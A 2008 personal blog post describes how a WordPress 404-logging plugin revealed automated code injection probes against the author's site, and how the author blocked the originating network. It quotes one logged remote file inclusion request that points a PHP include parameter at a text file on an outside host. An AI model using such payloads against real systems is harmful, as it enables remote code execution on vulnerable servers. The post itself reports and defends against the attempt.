Blog of Nuke

In order to troubleshoot a problem with my blog’s permalink structure, I had installed a plug-in for Wordpress to catch any Wordpress-specific 404 errors it generates and email that to me.

While it didn’t exactly help me with the permalink problem, it did reveal some code injection attempts being made against my blog.

For example, here’s one:

//includes/functions_install.php?vwar_root=[INJEKAN]http://www.mercycorps.org.hk/images/id.txt?? HTTP/1.1″ 404 36654 “-” “libwww-perl/5.65″

This is actually a code injection exploit for the phpBB web forum software package so it had no effect on my blog.

Since it should be blatantly obvious to any visitor that I don’t run phpBB, this was most likely an automated broad spectrum probe rather than a focused attempt.

I’ve since blocked the entire network that originated the attack.  The users of network 218.0.0.0/8 will just have to get by without reading my blog. 

This entry was posted on Wednesday, October 22nd, 2008 at 7:01 am and is filed under General. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.